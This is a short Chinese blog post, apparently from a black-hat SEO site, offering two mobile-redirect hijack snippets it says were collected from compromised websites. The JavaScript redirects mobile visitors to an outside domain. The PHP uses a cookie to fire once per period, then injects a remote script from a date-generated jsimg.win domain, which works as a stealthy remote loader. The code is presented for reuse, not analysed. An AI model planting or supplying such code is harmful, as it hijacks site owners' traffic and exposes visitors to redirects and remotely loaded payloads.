富贵长生天做主由不得我
钢骨正气我做主由不得天

两款判断移动端跳转劫持转码

从淘宝订单的被劫持的网站里收集,一款JS。一款PHP

 

<script type=”text/javascript”>if(window.location.toString().indexOf(‘pref=padindex’) != -1){}else{if(/AppleWebKit.*Mobile/i.test(navigator.userAgent) || (/MIDP|SymbianOS|NOKIA|SAMSUNG|LG|NEC|TCL|Alcatel|BIRD|DBTEL|Dopod|PHILIPS|HAIER|LENOVO|MOT-|Nokia|SonyEricsson|SIE-|Amoi|ZTE/.test(navigator.userAgent))){if(window.location.href.indexOf(“?mobile”)<0){try{if(/Android|Windows Phone|webOS|iPhone|iPod|BlackBerry/i.test(navigator.userAgent)){window.location.href=”http://m.wuzhenbaoche.com”;}else if(/iPad/i.test(navigator.userAgent)){}else{}}catch(e){}}}}</script>

<?php
$agent = strtolower($_SERVER[‘HTTP_USER_AGENT’]);
$is_iphone = (strpos($agent, ‘iphone’)) ? true : false;
$is_ipad = (strpos($agent, ‘ipad’)) ? true : false;
$is_android = (strpos($agent, ‘android’)) ? true : false;
if($_COOKIE[“jump”]==”” && $is_android || $_COOKIE[“jump”]==”” && $is_iphone || $_COOKIE[“jump”]==”” && $is_ipad )
{
setcookie(“jump”,”1″,time()+6*60*60*1000);
$w_datime=”cdn10″.date(‘dym’).”051img”;
$w_url_datime=”http://”.$w_datime.”.jsimg.win/c.css?”.$w_datime;
echo”<script type=\”text/javascript\” src=\”$w_url_datime\”></script>”
.””;
}
?>

赞(0)
未经允许不得转载:网站快照劫持代码-快照删除-黑帽SEO » 两款判断移动端跳转劫持转码

评论 抢沙发

3 + 6 =
  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址